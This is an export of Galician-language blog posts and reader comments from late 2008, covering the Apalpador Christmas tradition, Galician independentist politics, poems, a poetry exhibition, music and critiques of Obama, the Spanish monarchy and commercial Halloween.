Eu sou o autor do texto de resgate do Apalpador que pesquisei polas terras de O Caurel, O Zebreiro e Lóuçara. Soube depois que também nos Ancares e no Berço este personagem fora vivo em tempos ainda não muito recuados.
Até agora as crianças recebem agasalhos de o Apalpador em terras de O Caurel e Lóuçara (apesar de serem cada vez menos, pois que restam cada vez menos crianças -e gente!- nas altas montanhas luguesas.
Se ele está vivo pode-se muito bem resgatar dessa uniformidade atrapalhadora e esmagadora que é a pseudo-cultura holiwoodiana e espanholeira. Por isso dos meus parabéns para você, meu caro.
Muito obrigado. Espalharei todo quanto puder o seu calendário entre os sócios da Associação Galega Corredor do Henares (Alcalá de Henares ? Madrí) da que sou Vice-Presidente.
Um abraço
André
----- COMMENT: AUTHOR: paideleo [Visitante] DATE: Thu, 04 Dec 2008 23:57:51 +0000 URL: http://leoeosseus.blogspot.com/Gustoume !.
----- -------- AUTHOR: Lugris TITLE: 6 de Dezembro: quê celebrar? BASENAME: 6-de-dezembro-que-celebrar DATE: Wed, 03 Dec 2008 06:44:07 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Esse sacro-santo texto legal chamado "Constituiçom espanhol", elaborado por grandes "padres da pátria espanhola", esse texto que permite que, quando as cousas se ponham sérias, o exército espanhol seja o que realmente decida o que vai passar, esse texto que umha grande maioria do povo galego nom aprovou, e umha grande parte nom votou, está de aniversário o dia 6. Celebrará os seus 30 anos ao serviço dos seus amos.
E, para celebrá-lo, a entidade soberanista Causa Galiza, convoca novamente umha mobilizaçom em defesa do exercício do direito de autodeterminaçom por parte do nosso povo. Será no sábado dia 6 às 13h30 na praça do Toural, em Compostela. Porque, mais um ano, nom temos nada que celebrar.
----- -------- AUTHOR: Lugris TITLE: Abre-lhe as portas ao Apalpador!!! BASENAME: abre-lhe-as-portas-ao-apalpador DATE: Tue, 02 Dec 2008 06:57:03 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: O Apalpador 08 TAGS: ----- BODY:Este ano, abramos-lhe as portas ao Apalpador!!!
Nalgumhas comarcas da alta montanha do leste da Galiza, no Courel, Lóuçara e o Zebreiro, mantinha-se até datas muito recentes a tradiçom do Apalpador, um gigante com ofício de carvoeiro, que, no Natal, baixava das devesas onde morava para as aldeias, com a intençom de apalpar as barrigas das crianças para comprovar se estavam bem mantidas. O Apalpador vigiava que vivessem com fartura, desejava-lhes que no vindouro ano continuassem a nom passar fame, e deixava-lhes umha presa de castanhas quentes como presente e lembrança da sua visita.
É sabido que a igreja católica aproveitou toda umha série de festividades que marcavam o ritmo das sociedades existentes antes da cristianizaçom, tingindo com um novo verniz celebraçons e festas com milénios de história.
Assim sobre as celebraçons pagás do solstício do Verao colocou o Sam Joám, ligou o entruido em que celebramos a extinçom do Inverno com a quaresma e santificou as festividades dedicadas à morte que desde muito atrás coincidem na nossa cultura com os primeiros compassos do Outono. Mas guardou a celebraçom mais importante, a do nascimento do filho de deus, para a situar nas mesmas datas em que a maior parte das culturas europeias anteriores à era cristá celebravam o solstício do Inverno, como momento de renascimento do ano.
Dessa sobreposiçom do cristianismo sobre os restos culturais pré-existentes temos um bom conhecimento na Galiza, porque nom se trata só da adaptaçom ao calendário, mas da mesma ocupaçom dos espazos empregados de antano para cultos pré-cristaos sobre os quais, sem nengum complexo, se levantárom ermidas e cruzeiros para os adaptar ao cristianismo.
Porém, e apesar do esforço que o cristianismo fijo para apagar qualquer pegada dos cultos e crenças populares, som muitos os vestígios que ficárom como testemunho. Nalguns casos com mais sucesso que noutros, mas em todos eles como prova das fundas raizes que o nosso povo mantém como a cultura indígena que é.
Pode que o caso das tradiçons ligadas ao solstício de inverno sejam algumhas das mais perjudicadas por séculos de tergiversaçom, marginalizaçom e ocultamento. E neste caso o proceso de aculturizaçom tem-se agravado pola superposiçom a umha primeira deturpaçom de orige católica, com séculos de andadura, da poderosa maquinária ideológica do imperialismo que pretende homegeneizar a cultura popular a um nível global.
Mas por baixo do Pai Natal, o negócio da Coca-Cola e do Corte Inglés; mesmo por baixo dos Reis Magos e o nascimento de Cristo, na Galiza mantivérom-se pegadas de antigas tradiçons que é preciso recuperar.
Assim nalgumhas comarcas da alta montanha do leste da Galiza, no Courel, Lóuçara e o Cebreiro; mantinha-se até datas muito recentes a tradiçom do Apalpador, um gigante com ofício de carvoeiro, que, no Natal, baixava das devesas onde morava para as aldeias, com a intençom de apalpar nas barrigas d@s nen@s e assim comprovar se estavam bem mantid@s. O Apalpador vigilava que @s nen@s viviram com fartura, desejava-lhe que no vindouro ano continuaram a nom passar fame, e deixava-lhes umha presa de castanhas quentes como presente e lembrança da sua visita.
Possivelmente esta antiga tradiçom do Apalpador seja um dos mais antigos vestígios da nossa cultura. E como parte dum património ameaçado devemos pular por mante-lo e actualizá-lo.
Por que imos ter que asumir os dictados impostos por quem quere aculturizar-nos? Por que temos que ceder aos mandatos do consumismo capitalista e da tradiçom católica?
Aproveitemos também as celebraçons do natal para manifestar a nossa vontade de rebeldia e a nossa afirmaçom como povo, e escomezemos por recuperar a figura do Apalpador.
Que nom seja mais o barbudo publicista da Coca-Cola, nem os submisos monarcas orientais os que traiam os presentes aos fogares do nosso país!!
Deixemos que seja um galego, um honesto e trabalhador carvoeiro, quem venha agora com os presentes para as nossas moradas, e que as castanhas de antano sejam acompanhadas por outros bens que a sua generosidade de seguro lhe permite doar.
O que tentamos é achegar ferramentas para destruirmos o carácter consumista e uniformizador deste natal que sofremos, e a nossa tradiçom deu-nos todo o que precisávamos. Soma-te à promoçom do APALPADOR!!!!
Todo o texto anterior, foi fornecido pola Gentalha do Pichel. E o desenho do Apalpador de Leandro.
Este natal abramos-lhe as portas ao Apalpador!!!
----- -------- AUTHOR: Lugris TITLE: A Campabranca, mais branca que nunca BASENAME: a-campabranca-mais-branca-que-nunca DATE: Sun, 30 Nov 2008 09:41:19 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por cá TAGS: ----- BODY:Esta é umha foto feita com o móbil desde a minha casa a sexta-feira 28 às 14.00h., mais ou menos.
A Campabranca, mais branca que nunca.
Aqui estou, no trabalho, no meu posto de trabalho.
Hoje, 28 de Novembro, que tinha que estar caminho de Compostela. Nom para beijar o santo, mas para participar na inauguraçom da exposiçom "poesia para Ver/poesia para Ler", no Centro Social O Pichel.
Mas os anjos do ceu confabularom-se para que leve todo o dia nevando, impossibilitando cruzar Pedrafita.
Quê bonita, quê linda, quê simpática, a maldita, asquerosa e condenada neve!!!
De todas as formas, o acto celebrará-se igual.
Aguardo que, quando menos, as pessoas que vaiam tenham a bem beber umhas cervejas à minha saude. E que Sechu, Baldo, Estíbaliz, Alberte e Xosé (e o público que asista) me desculpem a ausência.
Vem de sair à rua o número 50 do Abrente, o vozeiro de Primeira Linha.Um número especial com colaboraçons de alguns e algumhas das colaboradoras habituais nestes doze anos de imprensa independentista e comunista galega: Carlos Morais, Noa Rios, Alberte Moço, Daniel Lourenço, Berta L. Permui, Maurício Castro, André Seoane, Ramiro Vidal, Carlos Taibo, Domingos Antom Garcia, Michael Löwy, George Labica, Iñaki Gil de San Vicente, Narciso Isa Conde, Ana Barradas, Marco Santopadre..., e também de quem isto escreve.
Um artigo intitulado "Compromisso com quê? Compromisso com quem?", que colo também aqui embaixo.
Compromisso com quê? Compromisso com quem?
No mundo ocidental actual em que vivemos, o consumo é em si mesmo um fim. Consumir é, no mundo capitalista, o maior exemplo de liberdade. Nom é por acaso que os defensores deste mundo como o único mundo possível sempre falem da necessidade de defender o ?sistema de livre mercado?. A produçom cultural, para bem e para mal, nom é alheia a isto. A Produçom Cultural com maiúscula, a Cultura séria, essa que aparece em, e é promovida por, os grandes grupos mediaticos, essa que ocupa as prateleiras das livrarias dos centros comerciais, os museus e as galerias de arte, os coliseus e os palácios da música, as salas de cimena e os teatros, as discotecas e as universidades... só se produz para ser vendida, para ser comprada. E, para se vender, para poder ser comprada, tem que situar-se consciente ou inconscientemente dentro de umha aposta ético-estética, político-ideologica, que lhe permita ser compatível com a óptica burguesa do mundo. Isso significa que tem que botar pola borda o compromisso com a liberdade, com a emancipaçom, com a fraternidade, com a igualdade. Tem que ser umha produçom cultural que asuma a necessidade de se converter num bálsamo apaziguador das evidentes injustiças realmente existentes no mundo contemporáneo, gestando-se longe de qualquer preocupaçom social e excluindo do seu ADN todo o que puder contribuir para compreender os motivos polos quais este mundo deve ser transformado. A cultura situa-se, assim, no campo do colaboracionismo político-ideológico com o capitalismo e a indiferença social, e promove a visom da inevitabilidade do mundo actual tal e como o conhecemos. É umha cultura comprometida, sim, mas comprometida com o sistema imperante, actuando como parte de umha grande campanha de propaganda e publicidade do mesmo.
Porém, umha outra cultura é possível. Porque é necessária. Umha cultura da denúncia, da resistência, da insurreiçom. E já se está a construir. Já existe. Existe desde sempre. Seria um tópico dizer que essa outra cultura está longe da cultura pró-burguesa colaboracionista. Um tópico falso, além do mais. Porque nom é assim: essa cultura está-se a produzir aqui mesmo, ao nosso redor, e, entre outras cousas, a rede, Internet, é umha das suas ferramentas básicas de trabalho. Umha cultura que entende que é necessário, que torna inevitável, transgredir a ordem: a ordem cultural, mas também a ordem sociopolítica. Umha cultura que situa no centro da sua criaçom a legítima vontade de intervir na realidade, consciente de que resistir é fazer frente ao sistema socioeconómico global que avança sem deparar com resistências no campo da política e a cultura oficiais. Umha cultura rebelde que continua a apostar na Utopia, mas que situa também dentro das suas coordenadas o indispensável confronto com o estabelecido: contra os canones, contra a mercantilizaçom, contra os espartilhos e as etiquetas, contra os compartimentos estancos, contra as categorias predefinidas,...
Na rede, podemos encontrar muitos exemplos diversos, distintos, plurais, de diversos campos, que mostram a capacidade e vitalidade desta outra cultura resistente. Ninguém está a inventar nada novo: está-se a actualizar umha tradiçom de cultura comprometida com a transformaçom, com a denuncia social. Obras que circulam livremente pola Internet, procesos de criaçom abertos à participaçom doutros artistas e/ou público em geral, grupos que criam colectivamente as suas obras sem procurar um reconhecimento individual, experiências que sobardam ou racham os limites dos géneros e as técnicas culturais, etc... Umha multitude heterogénea de manifestaçons artísticas comprometidas com a ideia de que a criaçom cultural é inseparável do processo social em que está inserida, e que nem pode nem deve ser alheia a esse processo nem pretender circular de forma independente ou autónoma, mas assumindo o inevitável diálogo e interacçom com o mesmo.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Sat, 29 Nov 2008 19:56:42 +0000 URL: http://oportodosescravos.blogspot.comDisto falouse brevemente en Mariñán. Eu lembrei unha frase de Ferrín: cando lle preguntaron que era para el literatura comprometida e dixo que Jon Juaristi (citei entón e cito agora de memoria). Como dis no inicio, o verdadeiro compromiso dos nosos tempos é o de que escribe (compón, etc…) para que todo siga igual e atendendo os intereses dos empresarios e dos poderes estabelecidos.
Do resto, confeso que estou matizando cada vez máis unha postura non exactamente coincidente. Dende que lin “As regras da Arte” de Bourdieu confírmome na miña noción de que a “arte pola arte” é unha noción que ten unha raigame profundamente burguesa, e que o artista é un ser autónomo e crítico cando non depende deses poderes para comer, (e cando pode comer).
Naturalemente o que fan asociacións como a SAGE, e en menor medida CERDO (que leva un camiño ultimamente que enfín, xa falaches ti disto) non é máis que unha explotación do traballo dos outros. Se se quere, un xeito moderno de plusvalía, por non falar do lucro/estafa que supón seguir cobrando inxustamente por obras de persoas que xa non se poden beneficiar delas. Como lin algunha vez nun debate en Diagonal, o que faría falta sería crear un sindicato (e unha internacional) de creadores, que poida xestionar directamente e dunha forma xusta (socialista) as retribucións. Iso ten sentido dentro dunha sociedade que se acompase a esa mesma idea, claro.
Dentro diso, tamén non me avergoño d@s obreir@s da miña familia que traballaron facendo barcos de guerra mentres loitaron nas rúas contra a guerra e a opresión. Só me avergoño daqueles que non fixeron isto último. (E tendo en conta o inxusta e demagóxica que pode ser esta metáfora para un sistema pequeno que, coma o noso, non dá beneficios, ou non os suficientes para subsistir del).
Quería falar hai tempo da “literatura comprometida", aver se che aproveito este pé.
Non puiden ir ao da Gentalha, pero síntome algo mellor ao ver hoxe que ti tamén non puideches. Agardo que polo menos aproveitases para facer algo de esquí. ;-) Irei de todos xeitos a ver a expo un día destes. Unha aperta.
PD: Tamén é moi interesante a última entrevista a Muguruza no Diagonal, onde di, entre outras cousas que SAGE non, pero que CC tamén non, que o camiño é a autoxestión do traballo artístico. Penso que é unha perspectiva un tanto errada, ou ben que algún dos dous (Muguruza ou eu) non entendeu ben as múltiples variantes do CC.
PPD: o de mudar os nome é para despistar aos buscapleitos de tan ilustre asociación.
----- -------- AUTHOR: Lugris TITLE: De festa em casa alheia... (ou nommmm) BASENAME: de-festa-em-casa-alheia-ou-nommmm DATE: Tue, 25 Nov 2008 18:46:33 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Escrever nom é mau TAGS: ----- BODY:Andivemos/andamos de festa, de parranda, de esmorga, de joldra, de troula, de fartadela, de chacarandaina, de galhoufa, de reboldaina, de rejouba... em casa alheia. Ou nom tam alheia.
Nem sei muito bem como é que comezou.
Alguém chamou por alguém. Acudiu com companhia. Chegou mais um, e mais outro... e assim até infinito, ou quase, ou mais alá.
Na sexta, a ver se ainda podemos ver-nos.
…susórdeneh, ghefa!
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 26 Nov 2008 17:21:49 +0000 URL: http://www.estibalizes.wordpress.comGrazas a vós, espartanos. Coa vosa disciplina, 300 foron moito máis ca 300.
[Comentarios]
Já levavamos tempo anunciando que a exposiçom "poesia para Ver/poesia para Ler" chegaria a Compostela. E agora podemos concretar datas. Do 27 de Novembro ao 27 de Dezembro, estará no Centro Social O Pichel, o local da Gentalha do Pichel.
E na sexta-feira, 28, a partir das 20.00h., faremos um recital com uns amigos, como acto de inauguraçom, com a participaçom dos/as poetas Estíbaliz Espinosa, Séchu Sende, Alberto Momam e Baldo Ramos, e a actuaçom musical de José Constenla.
Todas as pessoas que leam este texto, podem dar-se por convidadas. Nem sei se haverá caipirinhas para matar a sede... Mas haverá cerveja.
E, se nom podem/querem esse dia, lembrem que tenhem até practicamente finais de ano para ir. Ou para recomendar-lhe a visita às suas amizades.
"Há que desterrar essa concepçom falsa, mecánica e daninha segum a qual o poeta comprometido com o seu povo e com o seu tempo é um indivíduo iracundo ou excessivamente doido que se passa a vida dizendo, sem mais nem mais, que a burguesia é nojenta, que o mais belo do mundo é umha assembleia sindical e que o socialismo é um jardim de rosas sob um sol especialmente tenro. A vida nom é tam simples e a sensibilidade que precisa um marxista para ser verdadeiramente tal, debe-o captar perfeitamente. É dever do poeta luitar contra o esquematismo mecanicista. Este método empece o desenvolvimento da poesia ?que como a conquista do Cosmos deve conservar sempre fresca a sua sede aventureira- e lesiona o possível conteudo conceptual possítivo"
Ponto 13 do texto de Roque Dalton "Poesia e militáncia na América Latina", publicado na revista Casa de las Américas, 3.20 (A Havana, Cuba, 1963).
O texto inteiro pode-se ler, em espanhol, aqui.
Roque Dalton foi assassinado em Maio de 1975 por membros da mesma organizaçom revolucionária salvadorenha à qual ele pertencia, o E.R.P. (Exército Revolucionário do Povo) acusado, entre outras cousas, de ser um agente da CIA. Hoje, um dos responsáveis do seu assassinato, é quem fai todo o possível e impossível por ser admitido nas instituiçons, universidades e festas de quem antes dizia combater, e, como converso, ataca com fúria todo aquilo polo que Roque Dalton e outros muitos, outras muitas, luitarom e morrerom.
----- -------- AUTHOR: Lugris TITLE: Já e manhám para ti BASENAME: ja-e-manham-para-ti DATE: Wed, 19 Nov 2008 06:50:23 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Músicas TAGS: ----- BODY:Já é manhám para ti
e para nós ainda é onte
ou antonte
Mesmo há alguns entre nós
para os que ainda é a semana passada
ou o mês anterior
Mas para ti
já é manhám
Porém
lembra que o tempo
está a favor dos pequenos
e que se para nós ainda é onte
ou antonte
é porque realmente ainda é onte
ou antonte
porque o futuro só chegará
quando nós
o construamos
nom quando tu no-lo queiras vender
Por isso
anda com olho
porque
já é manhám para ti
O verso que todos/as reconhecedes, podede-lo ver aqui, e escuitar aqui.
A imagem, de Dolores Mendieta, tirei-na daqui, mas na sua página podedes ver mais informaçom.
Com esta
vim-te marchar três vezes da casa
dando um portazo
e prometendo nom voltar
nunca mais
A primeira vez
durou o tempo suficiente
para que eles pensaram que te precissavam
e sairam a chamar-te
a ti
que aguardavas fora a que te chamaram
ao descobrir que o frio
o frio real
nem era metafórico
nem romántico
nem atractivo
A segunda vez
durou o tempo suficiente
para que tu descubriras que precissavas voltar
e chamache à porta
repetidas vezes
porque sabias o agradável que era
sentir calor
mirando pola janela
mentras falavas
da neve
da chuva
e do frio
Esta é a terceira vez
A primeira vez que saiche
alegramo-nos muito
compartilhamos contigo o balbordo silenciado
e lamentamos a tua marcha
ainda que prometeras que dentro da casa
ias falar do exterior
da realidade do exterior
e da pertinência de ter presente a situaçom
A segunda vez que saiche
estavamos construindo algumha cousa
e contamos contigo
e seguimos guardando um lugar
para ti
depois de que voltaras à casa
prometendo-nos que as cousas
definitivamente
iam mudar
e todo aquel palavrório
da contextualizaçom dos conflitos
e as condiçons materiais
Hoje
quando te vejo sair
novamente da casa
prometendo nom voltar
nunca mais
só podo alegrar-me
por saber que dentro
as cousas som tam complicadas como fora
Nós só queremos botar-vos fora
E o conseguiremos
Nom para entrar nós
Só para que nom haja ninguem dentro
quando derrubemos a casa
essa maldita casa
A imagem tirei-na daqui. Mas podia ser qualquer outra. Nom é mais que umha metáfora. Ou nom.
----- -------- AUTHOR: Lugris TITLE: Mirando um gravado erótico chino BASENAME: title-25 DATE: Sun, 16 Nov 2008 22:24:04 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena TAGS: ----- BODY:Mirando um gravado erótico chino
tú me perguntache
que como era possível fazê-lo desse modo
Intentamo-lo, lembras?
Intentamo-lo
Mas foi um fracaso
China tem os seus arcanos
China tem os seus segredos
China tem as suas muralhas infranqueáveis
***
Um poema de Luis Rogelio Nogueras
Um poema do escritor cubano Luis Rogelio Nogueras(La Habana,1944-1985). Tirei-no da revista digital La Jiribilla.
----- -------- AUTHOR: Lugris TITLE: 10 perguntas BASENAME: quem DATE: Sat, 15 Nov 2008 10:55:20 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Quem elabora o discurso?
Quem dirige o movimento?
Alguém sabe quem fixou a estratégia?
quem definiu a táctica?
Alguem pode explicar quem
ou quê
decidiu o caminho?
Por quê é que estamos dando voltas
ao redor da ausência?
Onde estám os instrumentos
as ferramentas
as armas?
Como é que
a nossa defesa
foi o pior
dos seus ataques?
Quem nos enganou?
Por quê motivo nos deixamos enganar?
Um texto recem escrito, ao longo desta manham cheia de trabalho e preocupaçons.
----- -------- AUTHOR: Lugris TITLE: Musica para um Artefacto BASENAME: musica-para-um-artefacto DATE: Wed, 12 Nov 2008 06:54:34 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena CATEGORY: Para Ver Ler CATEGORY: Eu também desenhar CATEGORY: Aqueles maravilhosos anos TAGS: ----- BODY:Já há vários dias que Fanny+Alexander comentarom no seu blogue que estavam a trabalhar num dos temas do seu próximo disco, que por agora leva o título de "Caixa de Alfaias". Falavam da colaboraçom de Carlos Valcárcel, Projecto Mourente, ponhendo vozes num tema feito a partir do meu poema "Artefacto Burbur". Também no blogue do Projecto Mourente apareceu um comentário sobre isto.
Fanny e Alexander, que já tenhem experiência, com óptimos resultados, nisto de musicar textos da nossa literatura mais recente, anunciam para este novo disco poemas de Xiana Arias, Mario Regueira, Pedro Lamas, Yolanda Castaño, Emma Couceiro, Tati Mancebo, Daniel Salgado Estibaliz Espinosa, Diego Ameixeiras (neste caso prosa), e meu.
O poema "Artefacto Burbur", foi escrito, sem mal nom lembro, no ano 95. Lembro, creo lembrar (ou quero lembrar), que estava na casa familiar, "estudando" Lingüística Románica I (4º de carreira), e escuitando a rádio. Em algum momento, em algum programa, pode que "Siglo 21", apareceu o tema dos Living Colour. A imaginaçom, as poucas ganhas de estudar, e a casualidade figerom o resto. Nom havia mais que juntar aquela árida matéria inóspita e inescrutável, com a música que emitia a radio.
A primeira vez que o recitei, foi num acto na velha faculdade de Filosofia de Compostela. Nem lembro muito bem o motivo do acto (pode que umha campanha de solidariedade e apoio aos insubmissos, pode que algum acto dos CAF), nem com quem compartilhei recital nesse dia. Sim lembro que foi poucos dias depois de escrever o poema, e que estava um pouco nervioso porque me parecia um texto extenso (eu nom escrevia textos tam longos entom), e que tal vez era complicado de seguir-lhe o fio.
A primeira vez que apareceu publicado foi na rede. No especial que para o Dia das Letras do ano 96, dedicado a Ferro Couselo, elaborara Vieiros. Nem lembro muito bem como foi a cousa, mas penso que alguem de Vieiros mo pedira. Depois, apareceu já em livro, no "Quem nos defende a nós dos idiotas?".
Tempo depois, quando Noélia e eu decidimos abrir um pub (legalmente, cafeteria), nom duvidamos em por-lhe esse nome, "Artefacto Burbur". Andivem estes dias remexendo gavetas por casa, mas nom dim atopado nem um só colante dos muitos que editaramos como propaganda do pub. Se alguém tem algum, agradeceria que me figera chegar umha cópia, mesmo que seja em formato jpg. O desenho fora realizado pola empresa compostela Signum Desenho, a partir dum cartaz de Rodchenko e umha primeira ideia nossa.
E, agora, quando eu convertira o Artefacto Burbur também em cartaz, como parte integrante da exposiçom "poesia para Ver/poesia para Ler", F+A convertem-no também em cançom. Para estar morto, António Udina sigue gozando entre nós de muito boa saude. Na nossa cultura, as referências ao António Udina como último falante de dálmata som avondosas, e aí temos como grande, e para mim melhor mostra, a obra de Raimundo Patiño "O home que falava vegliota".
Post-scriptum: comentarom-me há tempo que algum outro poeta galego falara de António Udina num poema. A pessoa que mo comentou pensava que tal vez Roman Raña. Mas a verdade é que eu nom dou com esse outro poema.
----- COMMENT: AUTHOR: igor [Membro] DATE: Sat, 15 Nov 2008 10:57:49 +0000 URL:Muito obrigado, Séchu.
Envio um correio com o meu endereço terrenal.
ola, igor, pois acabo de atopar o autocolante do artefacto burbur, que tivem num corcho desde aquela até hai uns meses. assi que envia-me um correo ao meu email com o teu endereço, que se me estropeou o escáner, e já cho mando polo aire.
saúde!
----- COMMENT: AUTHOR: séchu [Visitante] DATE: Thu, 13 Nov 2008 12:19:22 +0000 URL: http://blogoteca.com/madeingalizaparabéns!
um dos meus poemas preferidos do mundo mundial!
;)
Duas novas achegas musicais para o blogue. As duas da Itália, as duas escolhidas por Xende, as duas mais que recomendáveis.
[youtube]KUpcxdg2Iqs[/youtube]
[youtube]v55g74Oi8qs[/youtube]
A primeira, I Cento Passi, dos MCR (Modena City Ramblers). Deste estupendo grupo italiano, já temos no nosso arquivo o Bella Ciao. Xende está enganchadíssimo. E agora, também quer ver mais e mais umha vez I Cento Passi. Esta cançom fai parte da banda sonora do filme do mesmo nome. Nom conseguim atopar na rede o filme para descarregá-lo, mas todas as referências que aparecem sobre ele, fam que se tenha convertido num filme muito desejado. Nos video-clubes convencionais nom se atopa. Se alguem sabe dele, ou o tem, e quer compartilha-lo, já sabe onde atopar-me.
A segunda, Che coss'è l'amor, de Vinicio Capossela. Este, conhecimo-lo há pouco. Alguém (lamento nom lembrar quem), tinha no seu blogue este mesmo vídeo. Se seguides de ligaçom em ligaçom ouvindo as suas cançons (se é que, ao igual que eu, nom o conhecedes), poderedes ter a sorte de gozar com o descobrimento deste magnífico músico.
Aguardo que, como Xende e como eu, gostedes desta escolha.
----- COMMENT: AUTHOR: Diana Andrade [Visitante] DATE: Mon, 10 Nov 2008 15:42:22 +0000 URL:Eu estudei cinema durante dois semestres em Roma e fiquei apaixonadíssima pela música e pelo resto da cultura italiana! É incrível como aqueles caras têm uma cultura invejável, ainda que passem um pouco despercebidos no meio da produção intelectual europeia… Para todos os interessados na música de Itália, aqui fica uma rádio bem bacana:
http://cotonete.clix.pt/ouvir/radios/tematica.aspx?id=99
Celebro que lle guste Capossela. Un crack.
----- -------- AUTHOR: Lugris TITLE: Quê diremos quando Obama bombardee um país? BASENAME: que-diremos-quando-obama-bombardee-um-pa DATE: Tue, 04 Nov 2008 07:06:02 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí TAGS: ----- BODY:Hoje celebram-se as eleiçons presidenciais nos Estados Unidos de Norteamérica. A ver se por fim nos deixam de bombardear os meios de comunicaçom com toda essa propaganda ianqui que nos levam vendendo nos últimos messes.
Mas, eu, a pergunta que me fago é: "Quê diram, quê diremos, quando Obama bombardee um país, um estado soberano? Quando dé a orde, como Comandante em Chefe que é do exército do seu país, de atacar qualquer estado com qualquer pobre excusa?".
Por quê Obama vai dar essa orde? Desde o ano 81, com Ronald Reagan, todos os Presidentes dos EEUU tenhem bombardeado um, ou vários, países, além de ser responsáveis de toda umha política exterior expansionista, bélica, imperialista, e aliada com todo tipo de ditadores e regimes fascistas e opressores. Vai ser Obama a excepçom? Muito me temo que nom.
Todos os grandes meios de comunicaçom de massas dam a Barack Obama como ganhador. E os meios "progres", além disso, apoia-no. Tenhem-nos apresentado a Obama como um tipo "progressista", "moderno", "distinto", "cool",... A verdade é que ver a Obama como umha proposta progressista só é possível quando se compara umha pessoa situada entre o centro-direita e a direita com outra situada entre a estrema-direita e o fundamentalismo religioso irracional, como é o caso da proposta McCain.
Todas essas pessoas, todos esses meios, todos esses falabaratos que nas últimas semanas tenhem construido, ou colaborado na construçom, dessa imagem de Barack Obama como um futuro presidente diferente, quê é o que vam dizer quando este decida, com qualquer excusa peregrina, atacar a soberania dum país? Quê vam dizer quando continúe, como continuará, com a mesma política exterior, com a mesma ideia de que os Estados Unidos som a país que dirige, que deve dirigir o mundo? Quê dirám quando resulte evidente que tem que pagar as dívidas contraida na sua campanha com os empresários, bancários e multimilionários que sufragarom a sua campanha? Quê dirám, como mentirám, quando resulte evidente que Obama é o que é: um presidente mais dos Estados Unidos?
Ronald Reagan bombardeou Líbia, entre outras lindezas. George Bush, Irak. Bill Clinton Irak. E George W. Bush, o Afeganistam e também Irak. Barack Obama?
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Wed, 05 Nov 2008 03:34:37 +0000 URL: http://oportodosescravos.blogspot.comAdemais todos sabemos que Martin Luther King era un brando, e que o máis parecido á esquerda que tiveron por aló foron as Panteras Negras e os seus ilustres precedentes.
----- -------- AUTHOR: Lugris TITLE: ... que nom lhe chamem Democracia BASENAME: que-nom-lhe-chamem-democracia DATE: Fri, 31 Oct 2008 06:39:23 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Cousas por aí CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Os monarcas podem reinar, mas que nom lhe chamem a isso Democracia. Porque há umha definiçom de Democracia, e nom é compatível com este sistema operativo de monarquia parlamentária (parlamentira?)
O livro da Pilar Urbano sobre a mulher do Bourbom, a.k.a. Reina Sofia, que "El Pais", esse diário tam comprometido com os intereses dos seus donos, publica diariamente por entregas é para partir-se de risa. Podedes entrar nas ligaçons de onte ou nas de hoje e comprová-lo.
Como é possível que ainda haja quem pense que manter esta tropa é compatível com a democracia?
Umha pérola de hoje mesmo, falando das duas relaçons com o defunto rei Hassan II dos Marrocos, pai do actual rei, grandes democratas os dous, como sabemos:
"(...)Me ponía frita con sus manías en las comidas. Venía a Madrid, invitado por nosotros a El Pardo, y se traía no sólo sus cocineros y sus pinches, sino la carne de ternera, los pollos, los quesos, las lechugas, la harina y la manteca para el cus cus. Decía: 'Es por mi religión, no quiero infringir un precepto por inadvertencia'. Pero era que no se fiaba". Y añade: "Es posible, en cambio, sabiendo que yo no como carne, cuando nos invitaba él me la iba encontrando en todos los platos, disfrazada y escondida en buñuelos, en croquetas, en raviolis, en el arroz, en la ensalada... ¡una pesadilla!".
Um pesadelo!, disso nom há dúvida.
Eu quero um colante desses de "eu também queimo a monarquia".
Está Ponferrada inçada (imagino que como muitas outras cidades e vilas da Galiza) de cartazes anunciando festas de "Halloween". Mas, quem organiza essas festas?: bares, pubs, cafetarias, cervejarias, discotescas, tascas, furanchos,... Halloween, que se calhar dentro de cento cinqüenta ou douscentos anos é já considerada umha festa "tradicional" ou "histórica", pertencente ao património imaterial de quen ande por estes lares na altura, Halloween, digo, é umha das festas mais comerciais que se "celebram" hoje em dia no nosso país; Ou, se calhar, a festa mais comercial, muito por diante doutras. Marcas de cerveja a fazer promoçons, marcas de whiskei a fazer mais promoçom, todo tipo de negócios subindo-se ao carro do ócio com a excusa do halloween.
A maior parte dos cartazes som practicamente iguais. Eu, até figem algum no trabalho, por encargo. E é que é isso o que pedem. Umha "imagem de halloween", di quem encarrega o cartaz. Porque no seu imaginário, e no nosso imaginário colectivo, nom nos enganemos, umha "imagem de halloween" e umha imagem do halloween ianqui. Porque os ianquis, a indústria ianqui do espectáculo, do entremento, da cultura, é a maior produtora de imaginário colectivo na nossa sociedade. E o resultado é esse: uniformidade. As nossas cidades cheias de cartazes com cabazas ianquis, com tipografia Blood Cyrillic, e anuncinado festas onde a grande protagonista é a cerveja ou o whiskie que promociona essa festa.
Mas as cousas podem ser doutro modo.
Já som doutro modo em algumhas vilas e cidades da Galiza. Lugares onde a festa tradicional, esta sim do Samain, ou Samhain, ainda se celebra ou está sendo recuperada.
Porque o Samain era, é, a festa que celebra o fim de ano no calendário celta. E porque a festa do Samain resistiu agora e sempre ao invasor. Porque é umha festa que permaneceu viva em muitas pequenas vilas e aldeias, onde também se vaziavam as cabazas para por-lhe candeias dentro.
